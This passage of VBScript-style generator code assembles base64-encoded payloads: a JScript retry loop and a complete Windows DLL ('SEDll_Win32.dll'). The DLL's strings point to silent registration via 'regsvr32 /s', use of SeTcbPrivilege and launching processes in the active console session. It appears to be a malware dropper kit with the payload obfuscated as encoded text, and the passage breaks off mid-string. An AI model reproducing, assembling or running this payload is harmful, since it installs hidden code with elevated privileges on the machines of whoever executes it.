      x = x & "QUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJBQUFQa1EiOw0KCQltb2NrRGxs"
      x = x & "NjQgKz0gIkFBQ0FJZ0FBQUJFQUFMTVJBQUJ3SWdBQXdCRUFBQmNTQUFCVUlnQUFGeElBQUlRVkFBQkFJZ0FBaEJVQUFLQVZBQUF3"
      x = x & "SWdBQXNCVUFBRjRYQUFDMElnQUFYaGNBQUdrWUFBQ2ciOw0KCQltb2NrRGxsNjQgKz0gIklnQUFhUmdBQUlRWUFBQ1FJZ0FBa0Jn"
      x = x & "QUFHd1pBQUQ0SVFBQWNCa0FBT0FhQUFBQUlnQUE4Qm9BQUY0YkFBQVlJZ0FBZ0JzQUFNNGJBQURJSWdBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxs"
      x = x & "NjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"
      x = x & "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQT0iOw0KCQl0aGlzLkJhc2U2NF9Nb2Nr"
      x = x & "RGxsNjQgPSBtb2NrRGxsNjQ7DQoJfSwNCglmaXJlOmZ1bmN0aW9uKCl7DQoJCXdpdGgob3J6KXsNCgkJCWluaXRCYXNlKCk7DQoJ"
      x = x & "CQlkb3sNCgkJCQl0cnl7bWFpbigpO31jYXRjaChlcnIpe2VyckxvZyhlcnIpO30NCgkJCQl0cnl7aWYob0lFKW9JRS5RdWl0KCk7"
      x = x & "fWNhdGNoKGUpe30NCgkJCQlXU2NyaXB0LlNsZWVwKHJldHJ5SW50ZXJ2YWwpOw0KCQkJfXdoaWxlKGJGb3JldmVyVHJ5IHx8IHJl"
      x = x & "dHJ5VGltZS0tKTsNCgkJfQ0KCX0NCn07DQpvcnouZmlyZSgpOw=="
      End Sub
      Public Sub GenSEDll(ByRef x)
      GenSEDll0 x
      End Sub
      Public Sub GenSEDll0(ByRef x)
      x = x & "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+AAAAA4fug4AtAnNIbgB"
      x = x & "TM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAARg1fWVeI5hVXiOYVV4jmFLv41hVfi"
      x = x & "OYU6/T2FV+I5hTr9MoVU4jmFOv0zhVHiOYWW7WaFUeI5hZbtZIVG4jmFVeI4hW/iOYVWmtyFUuI5hVaa5YVU4jmFWLDihVTiOYVW"
      x = x & "mueFVOI5hVJpY2hV4jmFAAAAAAAAAABQRQAATAEFAJNTnVQAAAAAAAAAAOAAAiELAQwAABYAAAAeAAAAAAAABREAAAAQAAAAMAAA"
      x = x & "AAAAEAAQAAAAAgAABQABAAAAAAAFAAEAAAAAAABwAAAABAAAAAAAAAIAQAEAABAAABAAAAAAEAAAEAAAAAAAABAAAABQNwAAVAAA"
      x = x & "AKQ3AADcAAAAAFAAAOgIAAAAAAAAAAAAAAAAAAAAAAAAAGAAAMACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAMAAACAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAA9RQAAAAQAAAAFgAAAAQAAAAAAAAA"
      x = x & "AAAAAAAAACAAAGAucmRhdGEAAJ4NAAAAMAAAAA4AAAAaAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAACcAQAAAEAAAAACAAAAKAAA"
      x = x & "AAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAA6AgAAABQAAAACgAAACoAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAMACAAAAYAAAAAQA"
      x = x & "AAA0AAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIM9mEEAEP91DP90JAT/FZgwABBZw2iUQQAQ"
      x = x & "aJhBABD/dCQM6HgUAACDxAzD/3QkBOjL////99gbwFn32EjDVovx6GAUAAD2RCQIAXQHVuhHFAAAWYvGXsIEAItEJAiFwHUOOQVo"
      x = x & "QQAQfi7/DWhBABCLDZwwABCD+AGLCYkNjEEAEHU/aIAAAAD/FYgwABCFwFmjmEEAEHUEM8DrZoMgAKGYQQAQaAxAABBoAEAAEKOU"
      x = x & "QQAQ6PQTAAD/BWhBABBZWes9hcB1OaGYQQAQhcB0MIsNlEEAEFaNcfw78HISiw6FyXQH/9GhmEEAEIPuBOvqUP8VpDAAEIMlmEEA"
      x = x & "EABZXmoBWMIMAFWL7FOLXQhWi3UMV4t9EIX2dQmDPWhBABAA6yaD/gF0BYP+AnUioZBBABCFwHQJV1ZT/9CFwHQMV1ZT6BX///+F"
      x = x & "wHUEM8DrTldWU+hLDgAAg/4BiUUMdQyFwHU3V1BT6PH+//+F9nQFg/4DdSZXVlPo4P7//4XAdQMhRQyDfQwAdBGhkEEAEIXAdAhX"
      x = x & "VlP/0IlFDItFDF9eW13CDADMzMzMzMzMzMzMzMzMzOh7AAAAuXRBABDogQAAAGjAJAAQxwVwQQAQ2DEAEMcFdEEAELAxABDoT/7/"
      x = x & "/1nDzOjrAgAAuXxBABDoUQAAAGjgJAAQxwV4QQAQ2DIAEMcFfEEAELgyABDHBYBBABAAAAAAxwWEQQAQAAAAAOgL/v//WcPMzMzM"
      x = x & "zMzMzMzMzMzMuHBBABDDzMzMzMzMzMzMzIvBw8zMzMzMzMzMzMzMzMxVi+yLTQyL0VZXvlAxABC/DAAAAIsCOwZ1IYPCBIPGBIPv"
      x = x & "BHPvi00Ii0UQUYkIiwH/UARfM8BeXcIMAIvRvkAxABC/DAAAAIsCOwZ1IYPCBIPGBIPvBHPvi00Ii0UQUYkIiwH/UARfM8BeXcIM"
      x = x & "ALowMQAQvgwAAACLATsCdT2DwQSDwgSD7gRz74tNCIXJdBaLRRCNUQRRiRCLAf9QBF8zwF5dwgwAi0UQM9JRiRCLAf9QBF8zwF5d"
      x = x & "wgwAi0UQX17HAAAAAAC4AkAAgF3CDADMuAEAAADCBADMzMzMzMzMzFWL7FOLXRRWi3UQV4v+g+cBdAbHAwAAAACD5gJ0CYtFGMcA"
      x = x & "AAAAAGhEMgAQ/3UM/xV0MAAQhcB1I4X/dAbHA3hBABCF9nQMi00Y6GEBAACFwHUOX14zwFtdwhQAuAVAAIBfXltdwhQAzMzMzMzM"
      x = x & "zMxVi+yD5PiD7CxWi3UMjUwkCFEzwMdEJBAAAAAAjUwkEGaJRCQUUYlEJDIPV8BmiUQkNosGagBWx0QkGAAAAADzD39EJCJmD9ZE"
      x = x & "JDL/UBCLBo1MJBBRVv9QDGgAEAAAakD/FWQwABD/dCQUizW0MAAQ/9b/dCQY/9b/dCQc/9YzwF6L5V3CCADMzMzMzMzMzMxVi+yL"
      x = x & "RQzHAAAEAAAzwF3CCADMzMzMzMzMzMzMzMzMzFWL7GioMQAQ/xW4MAAQi00MiQEzwF3CCADMzMzMzMzMM8DCDADMzMzMzMzMzMzM"
      x = x & "zDPAwggAzMzMzMzMzMzMzMwzwMIEAMzMzMzMzMzMzMzMVYvsi0UMxwAAAAAAM8BdwggAg2wkBATpZP7//4NsJAQE6Yr9///MzMzM"
      x = x & "zMzMzMzMuHhBABDDzMzMzMzMzMzMzFWL7KGIQQAQgewQAgAAVjP2V4v5hcB1Z2gEAQAAjYXw/f//iTWIQQAQUP81bEEAEP8VaDAA"
      x = x & "EI1F/FCNhfD9//9Q/xW8MAAQi/CF9nU0i0X8aIhBABBoBDIAEFCLCP9RGIvwi0X8UIsI/1EIhfZ1EqGIQQAQUIsI/1EEoYhBABCJ"
      x = x & "B1+Lxl6L5V3DzMzMzMzMzFWL7ItNDIvRVle+UDEAEL8MAAAAiwI7BnUbg8IEg8YEg+8Ec++LRRCLTQhfXokIM8BdwgwAi9G+kDEA"
      x = x & "EL8MAAAAiwI7BnUbg8IEg8YEg+8Ec++LRRCLTQhfXokIM8BdwgwAi9G+YDEAEL8MAAAAi/+LAjsGdQ2DwgSDxgSD7wRz7+s+i9G+"
      x = x & "cDEAEL8MAAAAkIsCOwZ1DYPCBIPGBIPvBHPv6x66gDEAEL4MAAAAjUkAiwE7AnUxg8EEg8IEg+4Ec++LRQiFwHQQjUgEi0UQX16J"
      x = x & "CDPAXcIMAItFEDPJX16JCDPAXcIMAItFEF9exwAAAAAAuAJAAIBdwgwAzMzMzMxVi+yLRQzHAAEAAAAzwF3CCADMzMzMzMzMzMzM"
      x = x & "zMzMzFWL7IsNiEEAEIHsEAIAAFaFyXVdaAQBAACNhfD9//+JDYhBABBQ/zVsQQAQ/xVoMAAQjUX8UI2F8P3//1D/FbwwABCL8IX2"
      x = x & "dUGLRfxoiEEAEGjEMQAQUIsI/1EYi/CLRfxQiwj/UQiF9nUfiw2IQQAQi0UUiQihiEEAEFCLCP9RBDPAXovlXcIQAIvGXovlXcIQ"
      x = x & "AMzMzMzMzMzMzMzMzMxVi+yLDYhBABCB7BACAABWhcl1XWgEAQAAjYXw/f//iQ2IQQAQUP81bEEAEP8VaDAAEI1F/FCNhfD9//9Q"
      x = x & "/xW8MAAQi/CF9nU+i0X8aIhBABBoxDEAEFCLCP9RGIvwi0X8UIsI/1EIhfZ1HIsNiEEAEP91HIsB/3UU/3UQUf9QKF6L5V3CGACL"
      x = x & "xl6L5V3CGABVi+yLDYhBABCB7BACAABWhcl1XWgEAQAAjYXw/f//iQ2IQQAQUP81bEEAEP8VaDAAEI1F/FCNhfD9//9Q/xW8MAAQ"
      x = x & "i/CF9nVKi0X8aIhBABBoxDEAEFCLCP9RGIvwi0X8UIsI/1EIhfZ1KIsNiEEAEP91KIsB/3Uk/3Ug/3Uc/3UY/3UM/3UIUf9QLF6L"
      x = x & "5V3CJACLxl6L5V3CJADMzMzMVYvsVleLfQyLz+hx/P//i/CF9nUKiw9RixH/UgSLxl9eXcIIAMzMzMzMzMzMzMzMVYvsg30MAbhX"
      x = x & "AAeAuQFAAIAPRMFdwgwAzMzMzMzMzMxVi+yLTRBWi3UYxwYAAAAA9sECdA+LRRzHAAIAAADHBgIAAAD2wQR0EvMPbwXEMQAQi0Ug"
      x = x & "8w9/AIMOBPbBAXQmU4tdFIvLV+jk+///i/iF/3UNiwNQiwj/UQSDDgGLx19bXl3CIAAzwF5dwiAAzMzMVYvs/3UM/xVsMAAQM8Bd"
      x = x & "wggAzMzMzMzMzMzMzMzMzMxqAP8VcDAAEMzMzMzMzMzMVYvsgewQAgAAi1UQjUX8Vot1DIvOUFIPr1UUx0X8AAAAAOiZCAAAg8QI"
      x = x & "hcAPhKwAAACLVfxXUYvI6FIBAACDxASL+GaLDoPGAmaFyXX1i/9miwaD7gJmg/hcdfQzwGgIAgAAUGaJhfD9//+NhfL9//9Q6OsK"
      x = x & "AACDxAyNhfD9//9QaAUBAAD/FTwwABD/dRSDxgKNhfD9//9WUGigMgAQUP8V1DAAEIvPg8QUjVEBi/+KAUGEwHX5K8oz0lFXjY3w"
      x = x & "/f//6MgIAABXi/D/FZQwABCDxAyLxl9ei+VdwhAAM8Bei+VdwhAAzMzMzMzMzMzMVYvsU4tdGFZXiz1gMAAQagBqAGoAagBq/1Nq"
      x = x & "AGoA/9eL8Fb/FYQwABCDxARqAGoAVovwVmr/U2oAagD/14vWx0UYAAAAAI1KAY2kJAAAAACKAkKEwHX5jUUYK9FQi87onAEAAIs9"
      x = x & "lDAAEIvYVv/Xi1UQD69VFP91GItNDFPoHggAAFOL8P/Xg8QUi8ZfXltdwhQAg2wkBATpk/r//8zMzFWL7IPsCFOL2rirqqqqVleL"
      x = x & "+Y00nQAAAAD35rg5juM4i/LR7oPGBPfmjUYBweoEA8JQ/xWIMAAQg8QEiUX4hcB1B19eW4vlXcONFB8z9ovaiVX8K9+D+wN8fo2b"
      x = x & "AAAAAA+2D4PGBMHpAoPrAw+2iWAyABCICA+2Fw+2TwGD4gPB6QTB4gQL0Q+2imAyABCISAEPtlcBD7ZPAoPiD8HpBsHiAgvRD7aK"
      x = x & "YDIAEIhIAg+2TwKDxwOD4T8PtolgMgAQiEgDg8AEg/5IfAbGAApAM/aD+wN9i4tV/CvXdGMPtg/B6QKKiWAyABCICIP6AXUYD7YP"
      x = x & "g+EDweEEiolgMgAQiEgBxkACPesuD7YXD7ZPAYPiA8HpBMHiBAvRD7aKYDIAEIhIAQ+2TwGD4Q8PtgyNYDIAEIhIAoPAA8YAPUCD"
      x = x & "xgSF9nQExgAKQF9exgAAi0X4W4vlXcPMzMzMzMzMzMzMzMxVi+yB7BABAABTVmgAAQAAjYXw/v//i/FogAAAAFCL2ol18OhKCAAA"
      x = x & "g8QMM8mNSQAPtoFgMgAQiIwF8P7//0GD+UBy7DPSxoUt////ADPJhdt0IesLjaQkAAAAAI1kJAAPtgQxgLwF8P7//4B0AUJBO8ty"
      x = x & "7PbCA3QIXjPAW4vlXcNS/xWIMAAQi8iDxASJTfiL8YXJdONXM8kz/4XbD4SPAAAAi0XwihQHD7bCioQF8P7//zyAdD+IVA30iEQN"
      x = x & "/EGD+QR1MYtF/IrQwOICiszA6QSKxArRwOAEiBaKVf6KysDiBgpV/8DpAgrIiE4BiFYCg8YDM8lHO/tyqItN+DvxdjOAffY9dROL"
      x = x & "RQiD7gIr8V+JMIvBXluL5V3DgH33PXUUi0UITivxX4kwi8FeW4vlXcOLTfiLRQgr8V+JMIvBXluL5V3DzMzMzMzMzMzMzMxVi+yD"
      x = x & "7BRTVleL8TP/Vv8VKDAAEFdQagNXagFoAAAAgFb/FTAwABCL2IP7/w+E0AAAAFdT/xUcMAAQi/CJdfSNRgFQV4lF+P8VZDAAEIlF"
      x = x & "/IXAD4SIAAAAV41N7FFWUFP/FSwwABCNBDaJRfCDwAJQV/8VZDAAEIvwhfZ0O/91+Fb/dfT/dfxXV/8VNDAAEItF8DPJ/3X8ZokM"
      x = x & "MP8VeDAAEFP/FUwwABAzwIX/Xw9F8IvGXluL5V3D/xU4MAAQ/3X8i/j/FXgwABBT/xVMMAAQM8CF/18PRfCLxl5bi+Vdw/8VODAA"
      x = x & "EIt18Iv4U/8VTDAAEDPAhf9fD0Xwi8ZeW4vlXcP/FTgwABCLdfCL+DPAhf9fD0Xwi8ZeW4vlXcPMzMxVi+yD7BxWagCL8f8VADEA"
      x = x & "EI1F5FBoDDMAEP8V9DAAEI1F9FCNReRQ/xXwMAAQjUX8x0X8AAAAAFBoIDEAEGoXagCNReRQ/xX8MAAQi0X8jVX4UsdF+AAAAABo"
      x = x & "EDEAEIsIUP8Ri0X4UIsI/1EMi0X8aHBBABBQiwj/UQyLRfxoCgQAAGhEMgAQUIsI/1Egi87oS/7//4tN+GoAagBqAIsRagBqAGoA"
      x = x & "agBqAFBR/1IUi0X8agJQiwj/URSLRfhQiwj/UQiLRfxQiwj/URyLRfxQiwj/UQj/FfgwABAzwF6L5V3DzMzMzMzMzMzMzMzMzMxV"
      x = x & "i+yLRQijbEEAELgBAAAAXcIMAMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxVi+yD5PiB7LQJAABTVlcy28dEJAwAAAAA/xUY"
      x = x & "MAAQjUwkDIlEJBxRUP8VxDAAEDP2iUQkFDl0JAx+K4s9jDAAEGgcMwAQ/zSw/9eDxAgPttuFwLgBAAAAD0TYi0QkFEY7dCQMfNto"
      x = x & "BQEAAI2EJKQFAABQ/zVsQQAQ/xVoMAAQM8kPt4QMoAUAAI1JAmaJhAx+AQAAZoXAdehmg7wkgAEAAACNhCSAAQAAdA7rA41JAIPA"
      x = x & "AmaDOAB192aDOFx0CpCD6AJmgzhcdfeNcAIzyWgkMwAQVmaJCP8VzDAAEIXAdAUzyWaJCFaLNdQwABCNhCSEAQAAUI2EJLgHAABo"
      x = x & "MDMAEFD/1mgDAQAAjYQkjQAAAMaEJIwAAAAAagBQ6MIDAACDxBzHRCQYBAEAAI1EJBhQjUQkfFD/FQgwABD/FUQwABCL+MdEJBAA"
      x = x & "AAAAjUQkEFD/FVAwABBQ/xVAMAAQjUQkeFD/FUgwABD/dCQc/xUkMAAQO3wkEHUXjUQkeGhEMwAQUP8VkDAAEIPECIXAdQSE23QT"
      x = x & "jYwksAcAAOhB/f//X15bi+Vdw42EJKAFAABQjYQklAMAAGhMMwAQUP/Wg8QMjYwkkAMAAIvX6OIBAACFwHVaajxQiUQkPI1EJEBQ"
      x = x & "x0QkPEQAAADo9wIAAIPEDMdEJFwBAAAAM8APV8BmiUQkYI1EJCDzD39EJCBQjUQkNFBqAGoAagBqAGoAagCNhCSwAwAAUGoA/xUg"
      x = x & "MAAQX15bi+Vdw8zMzMzMzMzMzMzMzMxVi+yD7AxTVovxi9pWiV30/xUoMAAQg/j/dQheM8Bbi+Vdw2oAUGoDagBqAWgAAACAVv8V"
      x = x & "MDAAEIvwiXX4g/7/dNlXagBW/xUcMAAQi00IhcmL+Q9E+APLO8h2BIv4K/tX/xWEMAAQg8QEi9hqAGoA/3X0Vv8VVDAAEDP2iXX8"
      x = x & "kGoAjUX8UIvHK8ZQjQQeUP91+P8VLDAAEIXAdQxT/xWUMAAQg8QEM9uLRfwD8Dv3cwSFwHXLi0UM/3X4iTD/FUwwABBfXovDW4vl"
      x = x & "XcPMzMzMVYvsUVNWagCL8rgEAAAAaIAAAAC6AgAAAIX2D0TCUGoAagFoAAAAQFH/FTAwABCL2IP7/3UIXjPAW4vlXcNXagBqAFZT"
      x = x & "/xVUMAAQi30MM/aJdfxqAI1F/FCLxyvGUItFCAPGUFP/FVwwABCFwHQgi0X8A/A793MEhcB111P/FUwwABBfXrgBAAAAW4vlXcNf"
      x = x & "XjPAW4vlXcPMzMzMzMzMzFWL7IPscFNWjUX4iVXwUDP2iU3saiiJdfgz2/8VWDAAEFD/FQQwABCFwHQ1jUXgUGiEMwAQU/8VEDAA"
      x = x & "EIXAdCFTU1ONRdzHRdwBAAAAUFP/dfjHRegCAAAA/xUMMAAQi9j/dfj/FUwwABCF23UIM8BeW4vlXcONRfyJdfxQ/3XwiXX0/xXo"
      x = x & "MAAQhcB0bWo8jUWYx0WQRAAAAGoAUIl1lOiOAAAAg8QMx0W8AQAAADPAD1fAZolFwPMPf0XcUP91/I1F9FD/FdwwABCFwHQsjUXc"
      x = x & "UI1FkFBqAP919GgQBAAAagBqAGoA/3XsagD/dfz/FQAwABCFwA9Fddz/dfz/FUwwABCLTfSFyXQHUf8V4DAAEIvGXluL5V3DzP8l"
      x = x & "lDAAEP8lqDAAEP8loDAAEP8lrDAAEP8lgDAAEMzMzMzMzMzMxwVwQQAQ2DEAEMcFdEEAELAxABDDzMzMzMzMzMzMzMzHBXhBABDY"
      x = x & "MgAQxwV8QQAQuDIAEMMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
      x = x & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACOOwAAejsAAGo7AAC+OwAApjsA"
      x = x & "AAAAAADeOQAA8DkAAP45AAAQOgAAJjoAADw6AABIOgAAVjoAAGw6AADOOQAAijoAAKI6AADCOgAA2DoAAOY6AAD8OgAADjsAACI7"
      x = x & "AAAuOwAAiDkAALg5AACwOQAAojkAAJY5AAB8OgAAAAAAAJQ9AAD0PAAA6jwAAIg9AAB8PQAA2jwAABI9AABUPQAAHD0AAEA9AAAE"
      x = x & "PQAASD0AAAAAAAAGAACAAgAAgKEAAIAAAAAA5DsAAAAAAABkPQAAAAAAAFI7AAAAAAAAmjwAALQ8AAAAAAAAeDwAAAAAAAA+PAAA"
      x = x & "LDwAABo8AAAGPAAAUDwAAAAAAAAAAAAAAAAAAOIqGrv5pM8RjyAAgF8s0GThKhq7+aTPEY8gAIBfLNBkYWcP0emDzxGPIACAXyzQ"
      x = x & "ZOOhAdsrpM8RjyAAgF8s0GQAAAAAAAAAAMAAAAAAAABGwamrp4OJzxGPIACAXyzQZMA6vKaq284RneMAqgBLuFGDspaxtLoaELac"
      x = x & "AKoANB0HAAQCAAAAAADAAAAAAAAARtgzABA+EAAQAAAAAHg0ABC8FAAQshQAELIUABCgFAAQgBQAEAmNn7++8kVLng2MymN49j3I"
      x = x & "NAAQUBIAECATABAgEwAQMBQAEDATABBQFAAQcBQAEIAUABCgEwAQkBQAEJAUABAHJ3utO97NRrzpOw5WfAXoAAAAAAAAAAAAAAAA"
      x = x & "AMqaOwDh9QWAlpgAQEIPAKCGAQAQJwAA6AMAAGQAAAAKAAAAVwBTAGMAcgBpAHAAdAAAAAAAAAAAAAAAAAAAAEFCQ0RFRkdISUpL"
      x = x & "TE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8lAHMAXAAlAHMAfgAlAGQAAAAAAAw3"
      x = x & "ABDTGgAQshQAELIUABBgGAAQkBgAEHAWABCwGAAQMDcAEHAVABAgEwAQIBMAEHAWABCQFgAQMBcAEMAXABCAFAAQIBkAEEAZABBQ"
      x = x & "GQAQQBoAECATABBKAFMAYwByAGkAcAB0AAAARABSAAAAAAAuAGQAbABsAAAAAAAlAHMAXAAlAHMALgB0AG0AcAAAAHN5c3RlbQAA"
      x = x & "cgBlAGcAcwB2AHIAMwAyACAALwBzACAAIgAlAHMAIgAgAEQAUgAgAF8AXwBDAEkATQBfAF8AAABTAGUAVABjAGIAUAByAGkAdgBp"
      x = x & "AGwAZQBnAGUAAAAAAAAAAAAYQAAQAAAAAAAAAAD/////AAAAAAAAAACoMwAQAAAAAAAAAAAAAAAAAQAAAMAzABAAAAAAAAAAAAAA"
      x = x & "AAAYQAAQyDMAECQ1ABAkNAAQAAAAADBAABABAAAABAAAAP////8AAAAAQAAAAEA1ABAAAAAABQAAAAUAAACUNAAQfEAAEAAAAAAA"
      x = x & "AAAA/////wAAAABAAAAAaDQAEHxAABAAAAAAAAAAAP////8AAAAAQgAAAGg0ABAINQAQJDQAEAAAAAAAAAAAAAAAAAEAAACMNAAQ"
      x = x & "AAAAAAQAAAAAAAAAWEAAEBQ0ABAkNAAQAAAAAKw0ABAkNQAQQDQAEPgzABDcNAAQAAAAAFhAABAEAAAAAAAAAP////8AAAAAQAAA"
      x = x & "ABQ0ABAAAAAAAAAAAAAAAABYQAAQFDQAEHxAABAAAAAABAAAAP////8AAAAAQgAAAGg0ABAAAAAAAAAAAAIAAADsMwAQMEAAEAEA"
      x = x & "AAAAAAAA/////wAAAABAAAAAQDUAEJRAABABAAAAAAAAAP////8AAAAAQAAAAPg0ABAAAAAAAAAAAAIAAABcNAAQDEEAEAIAAAAA"
      x = x & "AAAA/////wAAAABAAAAATDYAEMQ2ABCENgAQBDYAEEA0ABDwNgAQXDYAEOg1ABDcNAAQAAAAAFA1ABDMNQAQJDQAEAAAAAAAAAAA"
      x = x & "AAAAAAIAAAB4NgAQBDYAECQ0ABAAAAAAAAAAAAUAAAAIAAAAbDUAEEhBABABAAAAAAAAAP////8AAAAAQAAAAKA1ABBIQQAQAQAA"
      x = x & "AAQAAAD/////AAAAAEAAAACgNQAQMEEAEAEAAAAAAAAA/////wAAAABAAAAAtDYAEAAAAAAAAAAABAAAAKA2ABC0QAAQAwAAAAAA"
      x = x & "AAD/////AAAAAEAAAAAgNgAQAAAAAAAAAAADAAAAkDUAEAxBABACAAAABAAAAP////8AAAAAQAAAAEw2ABDMNQAQJDQAEAAAAADc"
      x = x & "QAAQAgAAAAAAAAD/////AAAAAEAAAAAgNwAQMDYAEFA1ABDMNQAQJDQAEAAAAAAAAAAAAAAAAAIAAACwNQAQ9EAAEAcAAAAAAAAA"
      x = x & "/////wAAAABAAAAAvDUAEIQ2ABAENgAQJDQAEAAAAAC0QAAQAwAAAAQAAAD/////AAAAAEAAAAAgNgAQAAAAAAQAAAAAAAAA9EAA"
      x = x & "ELw1ABAAAAAAAAAAAAMAAADgNgAQAAAAAAAAAAAAAAAA9EAAELw1ABAAAAAAAAAAAAAAAAAAAAAAk1OdVAAAAACCNwAAAQAAAAEA"
      x = x & "AAABAAAAeDcAAHw3AACANwAA0B8AAJI3AAAAAFNFRGxsX1dpbjMyLmRsbABEbGxSZWdpc3RlclNlcnZlcgCYOAAAAAAAAAAAAABE"
      x = x & "OwAAGDAAAFQ5AAAAAAAAAAAAAF47AADUMAAAgDgAAAAAAAAAAAAA1jsAAAAwAABEOQAAAAAAAAAAAAD6OwAAxDAAAHA5AAAAAAAA"
      x = x & "AAAAAGA8AADwMAAANDkAAAAAAAAAAAAAajwAALQwAABoOQAAAAAAAAAAAACMPAAA6DAAAFw5AAAAAAAAAAAAAM48AADcMAAAADkA"
      x = x & "AAAAAAAAAAAAND0AAIAwAABMOQAAAAAAAAAAAABwPQAAzDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAjjsAAHo7AABqOwAAvjsAAKY7"
      x = x & "AAAAAAAA3jkAAPA5AAD+OQAAEDoAACY6AAA8OgAASDoAAFY6AABsOgAAzjkAAIo6AACiOgAAwjoAANg6AADmOgAA/DoAAA47AAAi"
      x = x & "OwAALjsAAIg5AAC4OQAAsDkAAKI5AACWOQAAfDoAAAAAAACUPQAA9DwAAOo8AACIPQAAfD0AANo8AAASPQAAVD0AABw9AABAPQAA"
      x = x & "BD0AAEg9AAAAAAAABgAAgAIAAIChAACAAAAAAOQ7AAAAAAAAZD0AAAAAAABSOwAAAAAAAJo8AAC0PAAAAAAAAHg8AAAAAAAAPjwA"
      x = x & "ACw8AAAaPAAABjwAAFA8AAAAAAAA+AFHbG9iYWxBbGxvYwDEA2xzdHJjbXBpVwC5AEV4aXRQcm9jZXNzAFYDU2xlZXAAfgFHZXRN"
      x = x & "b2R1bGVGaWxlTmFtZVcAANYBR2V0VGVtcFBhdGhXAAARAUdldENvbW1hbmRMaW5lVwBjAUdldEZpbGVTaXplAGkAQ3JlYXRlUHJv"
      x = x & "Y2Vzc1cAAI4CT3V0cHV0RGVidWdTdHJpbmdXAABhAUdldEZpbGVBdHRyaWJ1dGVzVwAAtQJSZWFkRmlsZQAAVgBDcmVhdGVGaWxl"
      x = x & "VwB1Ak11bHRpQnl0ZVRvV2lkZUNoYXIAcQFHZXRMYXN0RXJyb3IAAP8BR2xvYmFsRnJlZQAAmgJQcm9jZXNzSWRUb1Nlc3Npb25J"
      x = x & "ZAAAiwNXVFNHZXRBY3RpdmVDb25zb2xlU2Vzc2lvbklkAACNAk91dHB1dERlYnVnU3RyaW5nQQAANABDbG9zZUhhbmRsZQBDAUdl"
